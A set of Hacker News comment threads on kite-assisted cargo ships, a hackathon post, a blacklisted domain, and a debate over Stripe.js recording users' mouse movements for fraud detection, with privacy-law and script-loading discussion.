SkySails - <AUTHOR> https://en.wikipedia.org/wiki/SkySails <comment><USER2> This is super cool, but until cargo vessels have any sort of restrictions on their carbon emissions, I hardly see this being adopted. We're on track to burn 500 million tonnes of Bunker oil by 2020 and the EU is just _proposing_ some sulfur and nitrogen reduction standards. Without any international restrictions or some other factor to increase the cost of operating, what incentive are companies going to have to adopt these new technologies?

<comment><USER3> Because it would save money, presumably. For example, in a 10,000 ton boat: "While the kite was in use, the ship saved an estimated 10-15% fuel, $1,000 to $1,500 per day." (From the linked article)

</comment></comment><comment><USER4> They said a limitation in addition is;

"There's a structural problem slowing down the process: ship owners (who have to make the investment) often don't pay for the fuel – that's the charterer's duty. The charterer on the other side doesn't charter the ship for long enough a period to make low-carbon technologies pay back"

I know bugger all about shipping but this doesn't seem logical. Wouldn't the person hiring said boat look at the estimated fuel cost as part of their cost/quote? If they know a ship has this or other effeciency features it should become part of their pricing comparison to alternate ships.

<comment><USER5> Exactly. If the charterer has to pay less fuel for your ship because you put a kite on it, surely they will choose your ship over others? Is there no competition in this market or why does fundamental market principles seemingly not apply?

<comment><USER6> It's one extra level of indirection. In the housing market, landlords do sometimes pay for upgrades to their rental properties, but they are less likely to do so than owner-occupiers.

Additionally if the ship owner was also the operator, they could benefit from some vertical integration, training their crew on the new technology.

If the effect of the kites on prices becomes large enough or the technology becomes standard, expect widespread adoption, but it's a reasonable claim that the existing market structure slows rollout when it's only marginally profitable.

<comment><USER4> > In the housing market, landlords do sometimes pay for upgrades to their > rental properties, but they are less likely to do so than owner-occupiers.

Is that a fair companrison? An owner occupier will often over capitalise because they desire something or have a lifestyle benifit beyond money. A rental owner wil look at dollars in/out. With the ships, its all coming down to a spreadsheet of cost vs benifit for both owner and hirer.

</comment></comment></comment></comment><comment><USER7> I think they hold the current record for the largest tonnage under sail. If they want to survive they should probably diversify into making some systems for yachts and promote them with a racing class. Kiteboats can shift and don't heel much, so is nice for pleasure craft if you can sort out the control, the current downside being that you can't just set them and sail to the wind.

</comment><comment><USER8> Related discussion [1] about using Rotor ships [2] and the Magnus effect [3] to reduce carbon emissions and shipping costs. IMHO a much more interesting tech/physics phenomenon :)

[1] [https://news.ycombinator.com/item?id=17885284](https://news.ycombinator.com/item?id=17885284)

[2] [https://en.wikipedia.org/wiki/Rotor_ship](https://en.wikipedia.org/wiki/Rotor_ship)

[3] [https://en.wikipedia.org/wiki/Magnus_effect](https://en.wikipedia.org/wiki/Magnus_effect)

</comment><comment><USER9> There is opportunity here. Various people have had success with SkySails, such as 15%-20% fuel savings [0], but not yet available for pleasurecraft [1].

[0] [http://www.cruisersforum.com/forums/archive/index.php/t-1328...](http://www.cruisersforum.com/forums/archive/index.php/t-132825.html)

[1] [http://www.cruisersforum.com/forums/f109/colonial-or- greenwi...](http://www.cruisersforum.com/forums/f109/colonial-or-greenwich- yachts-26676.html)

</comment><comment><USER10> It would be extremely ironic if this would be use by an oil tanker. Jokes aside, this is great, but it will never be the primary mode of propulsion since those tankers are on a timeline and you can't predict wind as much as a combustion engine.

<comment><USER9> If you can save up to 20% in fuel, you bet they would try it.

<comment><USER11> They won't, because the cost of fuel is passed to the shipper, not whoever owns the boat.

If shell owned and operated their own boats, maybe, but I haven't seen that.

<comment><USER12> "Shell manages one of the largest fleets of oil/chemical tankers and liquefied natural gas (LNG) carriers in the world" [https://www.shell.com/business- customers/trading-and-supply/...](https://www.shell.com/business- customers/trading-and-supply/shell-shipping-and-maritime/our-shipping- fleet.html)

</comment></comment></comment></comment><comment><USER13> This looks like an excellent idea but does anyone have the numbers? What kind of force could one expect from these? It got me thinking all kinds of electronic control systems to deploy/undeploy these.

<comment><USER14> _" Totally computer operated by an automatic pod to maximise wind benefits, this kite is believed to generate a propulsion power of more than 2,000 kW (approx. 2,700 HP)"_

2 megawatts. Tremendous amount of force.

<comment><USER15> Wow - that's amazing. Look how tiny that is compared to the load it is pulling. It looks like it would hardly make a difference. (I'm a kiteboarder and my kites are way bigger than I am.)

</comment></comment></comment><comment><USER16> Nuclear could really clean up the shipping industry and provide numerous other benefits.

<comment><USER16> Thorium (U-233) is one way to solve the proliferation risk.

<comment><USER17> You even put U-233 in there

How proliferation of fissionable U-233 is different from proliferation of fissionable Pu-239? Both share ability to be separated from fuel without enrichment factories, both can be used to build a bomb.

I like thorium cycle, but proliferation should not be used as argument for it.

</comment></comment></comment><comment><USER18> Kind of a dumb question but I'll ask anyway. If the wind is blowing in the exact same direction as the ship is travelling and you begin to retract the sail - do you recoup some of the energy you use during this retraction process through increased pulling power of the sail? Is the ship being pulled a little stronger during the retraction process or the exact same amount as if the line wasn't being retracted?

Im imagining something similar to when you'r flying a kite and begin to reign it in - it seems like it pulls you towards it.

<comment><USER19> Newton's 3rd law. If you're applying a force to reel in the kite, that force is equally propelling you forward. Plus, the faster apparent air flow over the kite will produce more power, which is why sailboarders pump their sails while they race. In the real world, I've only ever pumped a kite like this to momentarily get some more energy into it to help with ram air inflation.

<comment><USER20> I don't think that's quite how the physics works out.

Speed of airflow is approximately constant. Extreme case is reeling it in at 1mph in a 200mph wind. Force is approximately fixed.

Consider that I have an object with a fixed force on it (a good approximation in that case). If I reel it in, I do work equal to force times distance. That work goes into heating up the air. The force on my boat is the same.

I'm not sure it's a problem we care about, but you know how we solve the problem? Collapse (or partially collapse) the kite before reeling it in.

<comment><USER19> No the force is not the same. To actually reel the kite in you will need to pull on the lines with more force than during normal constant distance flight. It is this delta that I was implicitly referring to. The work done as you reel the kite in will largely go into kinetic energy for the boat. You're literally pulling on something in front of you.

Your wind figure is crazy large by a factor of 10. Nevertheless, my point wasn't on the magnitude of extra energy produced through apparent wind, it was referring to the fact that apparent will in general produce more apparent.

<comment><USER20> My point was that Newton's 3rd law isn't the right way to think about it. Newton's 3rd law means that if I throw a rock with 1 N-s of impulse, I will also gain 1 N-s in the opposite direction. It's a conservation law: "Equal and opposite reaction."

Yes, you do get pulled forward a little bit more, but you can reel in the kite with arbitrarily little "pulled forward a little bit more" (by pulling in slowly) or arbitrarily much (by jerking hard).

The force on me and on the kite is equal-and-opposite, but it was equal before I started reeling it in too.

<comment><USER19> >The force on me and on the kite is equal-and-opposite, but it was equal before I started reeling it in too.

Yeah, of course. The force is always equal when objects aren't accelerating, so when you reel in the kite at a constant speed with an increased force, the force on your ship is increased as well. When you reel in with more force you reel in faster, which means that you can make your increase in force arbitrarily small, but in doing so you'll make you're increase in speed arbitrarily small and make your reeling time arbitrarily large. In doing so, you'll end up accelerating the ship by the same amount.

The work done in reeling in the kite is obviously larger than the kinetic energy imparted on the ship and is minimised by reeling in the kite arbitrarily slowly. That energy doesn't just go into fluid interactions but also the potential energy of having your foil back at the ship as well as the ship's kinetic energy.

All of that is a bit of window dressing. To reel in your kite you need to increase the pull or force on its lines. That increase will equivalently act on the ship. The ship is being pulled a little bit stronger in the retraction process just like the original commenter asked.</comment></comment></comment></comment></comment></comment>


Hacking TechCrunch Disrupt's Hackathon - <AUTHOR> http://blog.jasonshah.org/post/31592808546/hacking-techcrunch-disrupts-hackathon <comment><AUTHOR> I really learned a ton during this hackathon and want to share everything I can with the HN community. Let me know if there's anything I can add!</comment>


Ask HN: is my domain blocked - <AUTHOR> someone recently tried to submit something from my domain to HN and it appears blank in the submission form: http://news.ycombinator.com/item?id=1691132<p>Anyone have any idea what is going on? <comment><USER2> Yes, your domain is blacklisted. All stories with links to it will be [dead] on arrival.

<comment><AUTHOR> do you know how to get un-blacklisted or what happened on my domain to mark it as such?

<comment><USER2> A moderator (PG and some YC alumni) probably saw this post: <http://news.ycombinator.com/item?id=1010590> then deleted it and blacklisted your domain for blogspam.

<comment><AUTHOR> Yikes. It definitely appears that way at first glance, but this is my own blog (I suffer from having a name domain vs. my own name) The issue is that this topic came up with a bunch of people who frequent hacker news and they told me it was a valid topic and encouraged me to write it up. It ended up generating good commentary both on my own site and on HN. Its a subjective call, and hopefully one that can be rectified once the situation is fully understood.

I emailed PG but have not yet heard back.</comment></comment></comment></comment>


Stripe records user movements on its customers' websites - <AUTHOR> https://mtlynch.io/stripe-recording-its-customers/ <comment><USER2> Stripe cofounder here. The question raised ("Is Stripe collecting this data for advertising?") can be readily answered in the negative. This data has never been, would never be, and will never be sold/rented/etc. to advertisers.

Stripe.js collects this data only for fraud prevention -- it helps us detect bots who try to defraud businesses that use Stripe. (CAPTCHAs use similar techniques but result in more UI friction.) Stripe.js is part of the ML stack that helps us stop literally millions of fraudulent payments per day and techniques like this help us block fraud more effectively than almost anything else on the market. Businesses that use Stripe would lose a lot more money if it didn't exist. We see this directly: some businesses don't use Stripe.js and they are often suddenly and unpleasantly surprised when attacked by sophisticated fraud rings.

If you don't want to use Stripe.js, you definitely don't have to (or you can include it only on a minimal checkout page) -- it just depends how much PCI burden and fraud risk you'd like to take on.

We will immediately clarify the ToS language that makes this ambiguous. We'll also put up a clearer page about Stripe.js's fraud prevention.

(Updated to add: further down in this thread, fillskills writes[1]: _" As someone who saw this first hand, Stripe's fraud detection really works. Fraudulent transactions went down from ~2% to under 0.5% on hundreds of thousands of transactions per month. And it very likely saved our business at a very critical phase."_ This is what we're aiming for (and up against) with Stripe Radar and Stripe.js, and why we work on these technologies.)

[1] [https://news.ycombinator.com/item?id=22938141](https://news.ycombinator.com/item?id=22938141)

<comment><USER3> Stripe customer here. The question raised is, more broadly, "Is Stripe collecting this data in a legal and ethical way?" This too can be readily answered in the negative.

It doesn't matter whether "Stripe.js collects this data only for fraud prevention" or if it works in practice. Under CalOPPA [1], Stripe still has to disclose the collection of the data, and (among other things) allow customers to opt out of collection of this data, and allow customers to inspect the data collected. Stripe's privacy policy refers to opt-out and inspection rights about certain data, but AFAICT not this.

[This is not legal advice]

[1] [http://leginfo.legislature.ca.gov/faces/codes_displayText.xh...](http://leginfo.legislature.ca.gov/faces/codes_displayText.xhtml?lawCode=BPC&division=8.&title=&part=&chapter=22.&article=)

[2] [https://stripe.com/privacy#your-rights-and- choices](https://stripe.com/privacy#your-rights-and-choices)

<comment><USER4> I am not an attorney. This is not legal advice.

Based on a plain reading of the law, several things about CalOPPA stand out to me. For one, it's not clear to me that the mouse movements in question qualify as "personally identifiable information". Mouse movements are not a first or last name, physical or email address, SSN, telephone number, or any contact method I am familiar with (maybe you know a way?).

Second, it seems to me that opt-out, right to inspect and update, and more are all contingent upon the data being PII within the scope of CalOPPA. Perhaps you can help me with something I've overlooked that would show me where I've erred?

Further, what do you think the correct legal and ethical way for Stripe to use mouse movement data would be? From your comment I can guess that you believe it should be treated as PII. Is that correct?

<comment><USER5> > Mouse movements are not a first or last name, physical or email address, [or > one of a dozen other obvious examples]

You misunderstand what personally identifiable information is. Each individual letter of my name is also not identifiable, the letters of the alphabet are not PII, but when stored in in the same database row, the separate letters do form PII no matter that you stored them separately or even hashed or encrypted them. My phone number is also not something that just anyone could trace to my name, but since my carrier stores my personal data together with the number (not to mention the CIOT database where law enforcement can look it up at will), there exists a way to link the number to my person, making it PII. Everything about me is PII, unless you make it no longer about me.

Mouse movements may not be PII if you don't link it to a session ID, but then it would be useless in fraud detection because you don't know whose transaction you should be blocking or allowing since it's no longer traceable to a person.

Another example[1] mentioned on a website that the Dutch DPA links to (from [2]) is location data. Coordinates that point to somewhere in a forest aren't personal data, but if you store them with a user ID...

[1] (English) [https://www.privacy- regulation.eu/en/4.htm](https://www.privacy-regulation.eu/en/4.htm)

[2] (Dutch) [https://autoriteitpersoonsgegevens.nl/nl/over- privacy/persoo...](https://autoriteitpersoonsgegevens.nl/nl/over- privacy/persoonsgegevens/wat-zijn-persoonsgegevens)

<comment><USER4> > You misunderstand what personally identifiable information is.

Not to belabor a point discussed elsewhere, but those were not arbitrarily chosen types of PII. They are how PII is defined in the specific law that was cited - CalOPPA. The comment to which I responded contains a link. The text of the law contains its definition of PII.

Please accept my apologies. I can see I failed to communicate clearly and readers interpreted my statements as broad comment about what is or isn't PII across a union of all potentially relevant laws and jurisdictions. This was in no way, shape, form, or manner my intended meaning. Again, please accept my apologies for failing to be clear.

> Mouse movements may not be PII if you don't link it to a session ID, but > then it would be useless in fraud detection because you don't know whose > transaction you should be blocking or allowing since it's no longer > traceable to a person.

Maybe it's just me, but I was under the distinction impression that some patterns of input are characteristic of humans and others of inhuman actors. Is it possible that a user could be identifiable as human or inhuman without having to know which _specific_ human an input pattern corresponds to? Have I misunderstood something?

<comment><USER5> > [could one distinguish] human or inhuman without having to know which > specific human an input pattern corresponds to?

You can't rely on the client asking the server anonymously and adhering to the response. If you want to avoid a connection to a "specific human", it would go like this:

Fraudulent lient: POST /are/these/mouse_movements/human HTTP/1.0 \r\n Content- Type: JSON \r\n [{"x":13,"y":148},...]

Server: that's a robot

Fraudulent client: _discards server response and submits transaction anyway_

To make sure the server knows to block the transaction, it has to tie the mouse movements to the transaction, and thereby to a credit card number (afaik Stripe does only credit cards as payment option), at least during the processing of the submission before discarding the mouse movement data.

I'm not arguing this is evil or mistrusting Stripe or anything, just that this is considered PII in my part of the world.

<comment><USER4> > You can't rely on the client asking the server anonymously and adhering to > the response. If you want to avoid a connection to a "specific human", it > would go like this:

I'm afraid I don't understand. Maybe you can help me? Seems to me you could not store things, you could require a signed and expiring token from the /are/these/mouse_movements/human service, or you could treat the request as super risky without that signed token. I'm sure there are others, I am known to suffer failures of imagination at times.

> To make sure the server knows to block the transaction, it has to tie the > mouse movements to the transaction, and thereby to a credit card number > (afaik Stripe does only credit cards as payment option), at least during the > processing of the submission before discarding the mouse movement data.

I'm clearly wrong, but doesn't the logic here only work if the mouse movements are identifiable in the same sort of way that a phone number is? What happens if that's not accurate and mouse movements from a session are not so personally identifiable? What have I failed to understand? Wouldn't this logic also make transaction timestamps PII?

<comment><USER5> You keep using that ridiculously apologetic tone that really rubs me the wrong way while making constructive remarks. If you could lose the former without the latter, I might actually appreciate your replies. But then, I'm reasonably sure that it's meant to annoy.

> Seems to me you could not store things, you could require a signed and > expiring token

That's actually a good idea.

<comment><USER4> OK.

You didn't read the law I was talking about that was specifically and clearly linked in the initial comment to which I responded. The comment in question made a specific claim about a specific law in a specific jurisdiction to which I responded narrowly and specifically. My comment referred clearly to the law in question and summarized points from it.

All points about other laws in other locations are irrelevant to the specific points I was offering discussion of.

> That's actually a good idea.

It is... provided that a handful of mouse movements actually qualify as PII. Which, as claimed here under CalOPPA, seems like it might be doubtful. As others have pointed out, there's room to doubt that a few mouse movements would be considered PII under any current regulatory regime (there are multiple notable ones, they don't agree on all points).

As an approach, it's useful for things like SAML and OAuth protocols when you're dealing with different systems controlled by different parties and need to delegate trust through an untrusted party. It's rarely the best way to move data around inside a system, though, unless you have some compelling reason to introduce this level of blinding.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER6> I used to work for a company that transferred a huge amount of money from tenants to landlords. Fraud is a really big deal in that domain, and we were really excited to update our credit card entry forms to use the newer Stripe Elements forms that include this user behavior tracking, to feed into Stripe radar and in turn use Radar's api to feed the fraud likelihood data in to our own fraud detection platform. This agent behavior tracking is proudly highlighted in Stripe's documentation as the feature that it is - they're not being sneaky about this in any way and this feature is incredibly useful to help companies stop fraudsters from doing serious financial harm. In other words, this is not news. If you could somehow prove that Stripe is selling this data, THAT would be a huge story. But as far as we know their explicit claims that they do not is true. Thanks for your awesome anti-fraud features, Stripe - they helped us help people to pay and accept rent safely.

<comment><USER7> Honest question, what exactly do people mean by fraud? How could someone exploit a payment page?

<comment><USER8> Also, how would fraud detection work in Europe, where there is the GDPR?

<comment><USER9> The GDPR doesn't say "You can't do anything", the tldr of it rather is "the user must be informed and/or you must have their opt-in, then it's allowed"

</comment></comment></comment></comment><comment><USER10> As a Stripe customer, I have to say it is pretty easy to deduce this from their documentation. They recommend loading Stripe.js on every page of your website rather than just the payment form. The given reason is to detect fraud. [1]

> To best leverage Stripe's advanced fraud functionality, include this script > on every page, not just the checkout page. This allows Stripe to detect > anomalous behavior that may be indicative of fraud as customers browse your > website.

There are also indications on the product page for Stripe Radar and other places where it is obvious they are doing device fingerprinting.

I can accept Stripe's explanation given the nature of their product and the effectiveness of Stripe Radar. That said, I think they need to make some changes. First of all, they should lay it out clearly that the tracking is high-resolution and includes mouse movement. Second, the tracking should be disabled by default and more closely tied to the usage of Radar. Most businesses don't need Radar until they reach a certain scale. Stripe could encourage the use of Radar when the account transaction volume reaches a certain size and use that opportunity to explain the benefits of enabling the tracking system. It should be optional, even then, though.

1: [https://stripe.com/docs/js](https://stripe.com/docs/js)

</comment><comment><USER11> I recently worked on a fraud detection POC with a few vendors in this space and it is common for them to require adding a js snippet to capture info like this. This isn't out of the ordinary behavior.

<comment><USER12> But this IS wrong!! What if my browser doesn't support javascript? It won't allow me to purchase anything! Why there HAS to be javascript to prevent fraud? That is simply an abuse of programmable functionality which was not made for such purposes. Aren't those credit cards safe because they are electronic and todays transactions can be reversed, tracked and that fiat money are just database rows?!

<comment><USER13> > What if my browser doesn't support javascript? It won't allow me to purchase > anything!

Unless you are Alex Jones, it is probably not worth it to redesign your website to accommodate doomsday preppers. I just disabled JS and you can't even sign in to Amazon or eBay without it. Most websites are now heavily built on JS frameworks, so most projects I have worked on would not be meaningfully functional without it.

> Aren't those credit cards safe because they are electronic and todays > transactions can be reversed, tracked and that fiat money are just database > rows?!

No... The reversal doesn't prevent someone from buying something and taking the item. Sure you can reverse the transaction, but then the merchant takes the hit.

Credit cards are safe for the consumer because transactions can be reversed and tracked. They are not safe for the merchant.

<comment><USER14> There's a difference too between allowing self-hosted JS and 3rd party JS. As a no-script user, if a site does not work with JS blocked, I will allow self- hosted JS while still blocking 3rd party. If it still doesn't work, then I consider if the site is something I'm really interested in or not. If not, tab closes. If I am, then I'll look to see if there's 3rd party stuff I trust.

In your example, allowing Amazon's JS allows the site to work at least as far as AWS Console behaves. I don't really use eBay, so I can't speak to what JS is required.

<comment><USER15> I think most businesses would be more than happy to lose the tiny percentage of customers who use NoScript in exchange for better fraud detection.

</comment></comment></comment></comment></comment><comment><USER16> There's two ethical questions here:

1) How much data should a payment services provider be allowed to capture for fraud-detection purposes?

2) What should middleware be allowed to do without the end developer's consent?

The first one I'm not gonna answer because I'm pretty unhappy with the state of non-cash payments in general and this would turn into a rant.

For 2) I think the answer is anything that leaves the process boundaries (or frame in the case of the web) should be explicitly requested by the developer and if it's a long-running task (like mouse movement tracking on a web page) the developer should be able to abort it at any time. If it's associated with any kind of storage that clearly belongs to the developer's app the developer should be able to clear that storage at any time.

</comment><comment><USER17> This is a good reason to use a technique like cperciva's payment iframe: [https://www.paymentiframe.com/](https://www.paymentiframe.com/)

It lets you use stripe.js (thus getting the PCI compliance benefits) without Stripe being able to spy on your visitors.

<comment><USER18> That is so ridiculously insecure I'm surprised the author has published it without a massive disclaimer.

Do NOT use an unknown third-party, without PCI qualification, to whom you have no contractual relationship, in between you and your payment provider.

<comment><USER19> It says at both the top and bottom of the page not to trust him, and at the bottom it says to implement it yourself if you care about security.

Seems fairly "disclaimed" to me.

</comment></comment></comment><comment><USER20> This is kinda common. Events with other anti-fraud providers are similar, it's a black box to the outside world that figures out what's normal and what is risky.

<comment><USER21> It being common practice doesn't make it okay.

<comment><USER20> To defend against credit card fraud in an automated world, it's kinda the only thing we got: an automated risk assessment.

<comment><USER22> That's true, but the data collection doesn't have to be this automated. It's a tradeoff for ease-of-use.

Everyone used to use Paypal, right? That doesn't track anything on your site in the default flow, but it requires sending the user to paypal.com, where they will have to enter even more information. But at least it doesn't collect mouse movements on all users on non-payment pages.

</comment></comment></comment></comment><comment><USER23> >Stripe is getting free data to train its fraud-detection models and potentially selling that information to advertisers.

That's ridiculous. It's not getting free data to train it's fraud model, it's getting data to _use_ the fraud model!

</comment><comment><USER24> I wasn't very comfortable with integrating either Paypal or Stripe in my app for payments. So I ended up adding it _only_ to the checkout page. Any user who isn't paying never loads their JS and shouldn't have to.

Needs a tiny bit more work, but avoids tons of JS.

You can also use CSP to only allow selected resources to load and e.g. block trackers, but allow bare-bones payment endpoints.

</comment><comment><USER25> The most effective anti-fraud solution would be a major privacy violation just by the nature of anti-fraud itself. So, since the stripe user is the one being charged for disputes anyway, giving them control over how much more privacy to give up in exchange for better protection is completely obvious. Even if the default is to be extremely pervasive as Stripe's anti-fraud measures are now, the option to reduce that tracking is a must.

<comment><USER26> Who do you mean as "the stripe user"? As a customer of a website using Stripe, I have very little concern for fraud, MasterCard and Visa protect me quite well. As a website operator who has somebody use a stolen credit card on my site, MC and Visa protect the owner of the stolen credit card quite well. Stripe is protecting both the website operator and the real owner of the credit card.

<comment><USER25> The person responsible for paying for the dispute. The user who goes to create an account on stripe.com to allow them to sell stuff on their site.

<comment><USER26> Having done some anti-fraud work in the past... that is Not something I would turn off for some over wrought privacy concerns. There is a reason for the GDPR exemptions for this.

<comment><USER27> What GDPR exemptions are you referring to?

</comment></comment></comment></comment></comment><comment><USER28> This is how other companies gather fraud signals as well. If you've ever clicked "I am not a robot", it also works on signals like mouse movements. Stripe is following industry best practices.

<comment><AUTHOR> I haven't used reCAPTCHA, but based on my understanding from Google's documentation[0], there are a few differences:

1\. reCAPTCHA doesn't send information until you explicitly call their library. Stripe's library immediately begins reporting to data as soon as the script is loaded.

2\. reCAPTCHA is explicit in its documentation that it's collecting behavior about your users. Its sole _purpose_ is to track user behavior, so implementers understand that it does this. Stripe's main purpose is to accept payment information, and it is currently not transparent about how it collects user behavior to achieve that. I don't believe that most implementers understand the nature of Stripe's data collection.

[0] [https://developers.google.com/recaptcha/docs/v3](https://developers.google.com/recaptcha/docs/v3)

</comment></comment><comment><USER29> > Stripe is getting free data to train its fraud-detection models and > potentially selling that information to advertisers.

Can the author back up the second claim with any non-speculative information that stripe will actually sell it to advertisers? advertising is not even stripe's business model. Hypothetically any site anywhere can "potentially" use any data they collect to sell to advertisers.

</comment><comment><AUTHOR> Author here. Happy to answer any questions or hear feedback about this post.

<comment><USER30> title is a little sensationalist, i find that a little hard to forgive :) it is well understood any anti fraud system records movement. how does your analysis fare on Google's reCAPTCHA v3?

or rather the actual issue, the x00,000's of sites that actually record movement for product research and, yes, marketing? sensationalizing this issue on stripe, which is a probable good actor, doesn't help the sites and web users deal with the real bad actors.

but its a well written article with solid recommendations so kudos for that.

<comment><USER31> No, it's not well understood. Perhaps you, and people in your direct field understand this, but does an average web developer who is reading Stripe's documentation? Does a consumer?

Silent, given the lack of documentation or notification, is 100% appropriate here.

<comment><USER32> I mean, the docs literally spell this out, so I'm not sure how much you or the author of the article wants their hand held:

> To best leverage Stripe's advanced fraud functionality, include this script > on every page, not just the checkout page. This allows Stripe to detect > anomalous behavior that may be indicative of fraud as customers browse your > website.

[https://stripe.com/docs/js](https://stripe.com/docs/js)

</comment></comment></comment></comment><comment><USER33> I use stripe.js in a number of my projects but I've never trusted it. Looks like my fears were justified.

Instead of loading it on startup, I always load the library as the last step before the checkout flow is initiated. Here is a working example of how to do this for anyone who's curious.

[https://jsfiddle.net/167ajcbw/](https://jsfiddle.net/167ajcbw/)

<comment><USER34> no, they weren't.

did you read pc's comment (top currently)?

<comment><USER33> "It's okay because 'fraud prevention' " isn't a good enough reason to horde my user's data without their consent.

Furthermore, a heartfelt promise from a payment provider to never sell my data means about diddly squat to me.

</comment></comment></comment><comment><USER35> I once complained to a PM about tracker scripts that my company was placing on its own site. They said that the data from the scripts was bringing in $2 million a year and there was nothing they would do.

</comment><comment><USER36> How is this any different than loss prevention watching you walk around in a store on cctv and taking note in a notebook if you look suspicious?

Do people routinely avoid all B&M retail stores?

<comment><AUTHOR> If you hire a loss prevention officer to protect your store, you're directing them in how they collect information about your customers and how they handle that data.

The closer equivalent would be if I purchased Square point of sale tablets to accept credit card payments in my store, and then Square sent their own loss prevention officers to my store to monitor my customers without telling me about it and kept the data for their own purposes.

<comment><USER36> What if you hire a 3rd party security contractor (also common)? i.e. rent-a- cop

In this case Stripe does tell store owners what they're doing if they would have done due diligence and examined the service more.

Either way, not sure why everyone's coming after Stripe instead of the stores that decided to use it

</comment></comment></comment><comment><USER37> This is not the only thing that bothers me about Stripe.

For example, if you run a Stripe Connect platform, and you set up webhooks to receive some events asynchronously, Stripe will send you all events of the types you select about the accounts connected to your platform, no matter if the events are related to your platform or not.

There may be applications which might need to receive all the activity, but in a simple case of a marketplace which allows merchants to sell stuff and collect a small fee, this is a disturbing amount of information. If I were a bad actor, I could silently collect the information about my merchants' activity on the marketplaces of my competitors.

Moreover, if your platform has enough merchants, you could track their buyers. Stripe will readily hand over all this information to you. In a charge.succeeded webhook alone, you get quite enough information to fingerprint a customer, and if you use some deduction, you can identify them, too.

This sounds like putting a Ring of Power into the Gollum's hand all of a sudden.

I'm wondering if the marketplaces should hang a big warning, for privacy reasons, that "this site uses Stripe for payments. Any payment information might be shared with an unknown number of third parties, and there's diddly we can do about this."

<comment><USER38> Almost like a...services agreement ([https://stripe.com/legal#section_d](https://stripe.com/legal#section_d))?

<comment><USER37> Look, I'm just a random Joe who wants to buy a handmade mug on a marketplace with handmade mugs. I don't even _know_ at any point that this is powered by Stripe. When I buy the mug, lots and lots of PII flies, via the webhook, not only to the marketplace through which I bought the mug, but also to that other place to which my particular seller is connected, maybe they sell handmade Bilbos. And that place which is an aggregator of spaces-to-let. You name it. It's not Stripe per se, it's the unknown number of unknown third parties.

And at this point, a wild commenter appears and tells me, the random Joe, that Gotcha!, you should read all that legalese for Stripe! Dammit, should I also fire up the web inspector on each site I visit, just in case they use something I should be privy to the legal terms of?

Listen, bub, at no point I (the buyer) and Stripe even enter a contract. I want to buy a fricking mug and I'd just be happy if that information stayed between me and whoever sold that to me.

</comment></comment></comment><comment><USER39> Some of you bringing up ethical and moral issues.

But let me raise a totally different issue: what if I am a 100% keyboard person or use a phone with voice commands? Will most my purchases be marked as possibly fraudulent? Will my Amazon packages arrive a week later than anyone elses?

And to the bigger question: will we soon live in a world where AI can discriminate against anyone who is slightly different and everyone are okay with that??

<comment><USER40> Probably not, it's just more effort to verify you as legitimate and your baseline behaviour is closer to a robot, meaning when your account gets hijacked, it's more difficult to detect deviance.

</comment></comment><comment><USER41> > This data has never been, would never be, and will never be sold/rented/etc. > to advertisers.

What about to companies or people who are not advertisers?

<comment><USER42> @pc - how about an answer to this question?

@dang - is there a service or function that allows some kind of notification specifically based on @ mentions?

</comment></comment><comment><USER5> So it's being used for anti-fraud, let's say that's fair. But what if you're accidentally classified as bot or fraudulent? The GDPR allows automated individual decision making in general, but there must (legally) be an option to ask a human for a second opinion. How does that work with Stripe?

Relevant text for those who want to know what GDPR says about this: "The data subject shall have the right not to be subject to a decision based solely on automated processing, including profiling, which produces legal effects concerning him or her or similarly significantly affects him or her." [https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CEL...](https://eur- lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32016R0679#d1e2838-1-1) (So one has to prove that it 'significantly' affects you, but I guess e-commerce is commonplace enough that being banned from a common platform could be argued to significantly impact you. But IANAJudge so this is up for interpretation by a real judge.)

</comment><comment><USER43> For those that are working with SPAs or similar and are not overly affected by fraud, I've put together a simple example showing how to sandbox Stripe.js code and unload it when you're done. No secondary domains, no reverse engineering of the Stripe.js library. It also maintains a reasonable level of trust in Stripe, who deserve it.

[https://codepen.io/theprojectsomething/full/ExVNEoZ](https://codepen.io/theprojectsomething/full/ExVNEoZ)

</comment><comment><USER44> The thing I don't get about the outrage in this thread is what the actual harm is. Is there any plausible way you could be harmed by someone tracking your mouse movements?

</comment><comment><USER45> Slightly off topic, but does anyone else find customer support emails that start like this to be particularly ingratiating?

> Hi Michael,

> Thanks for getting in touch. Faith here from Stripe support.

> Jumping right in, ...

Are those first sentences really necessary? It's not like the customer expected to have a conversation and you need to apologize for moving directly to the point of the email.

At some point I was taught that it's best to put things like "hope you're well" or "thanks for getting in touch" at the _end_ of the email, because putting them at the beginning just makes whatever comes after seem extra disingenuous. Eg "Hope you're well! Just wondering when you're going to send the signed contract over." Doesn't really sound like you care about my well being, does it?Always better to get straight to the point.

Anyway, pedantic rant over. Now back to the regularly scheduled pedantic rants.

<comment><USER46> In a previous role all front line support were given instructions to add similar information at the start of conversations. Seemed silly until the data showed that customer satisfaction with the support team went up by something like 4% and agent retention went up closer to 10%. If there is an ongoing relationship, I can definitely see the pleasantries seeming fake but in a one time interaction I don't mind them.

<comment><USER45> Very interesting, especially the agent retention. I suppose feeling like less of a robot boosts morale.

</comment></comment></comment><comment><USER47> As for SPAs it makes a lot of sense to inject the script at the exact page where it's needed and then eject it after the payment is processed. At least that's how I deal with these kinds of single-purpose-ja-files.

</comment><comment><USER48> > is in the best interests of the user

This is why you hire people with empathy who can write to do support. Actually, just hire them for every position.

</comment><comment><USER49> I point at what I read, what I look at; this is just eye tracking. Is there a browser extension that can block this nonsense?

</comment><comment><USER50> this is really creepy. All these data being collected, analyzed and sold to third parties ...

</comment><comment><USER51> Author uses python one-liner to pretty-print JSON struture. There is marvelous MIT-licensed tool "jq" just for that and ton more: [https://github.com/stedolan/jq](https://github.com/stedolan/jq)

</comment><comment><USER42> Time to add Stripe to uBlock Origin...

</comment><comment><USER52> If you believe "this data is not going to be sold to anyone" then boy do I have a bridge to sell you. In my 20 years experience I've never heard anyone say "no, we can't sell this because that would be unethical!".

</comment><comment><USER53> "Stripe is Silently" \- can I just say how much I detest clickbait with "silently" in the title? It is purposefully negative, meant to make Stripe look bad. What did you want? A foghorn?

Also:

`The Stripe library generates a new request like this every time a user views a new page in my app.`

In __" your" __app! How do you not know all the side effects you dependencies may have when before adding them? What else is going in that site, Michael?

<comment><AUTHOR> Thanks for reading!

> _" Stripe is Silently" \- can I just say how much I detest clickbait with > "silently" in the title? It is purposefully negative, meant to make Stripe > look bad. What did you want? A foghorn?_

I struggled a lot with the title, as I didn't want to project intention onto Stripe.

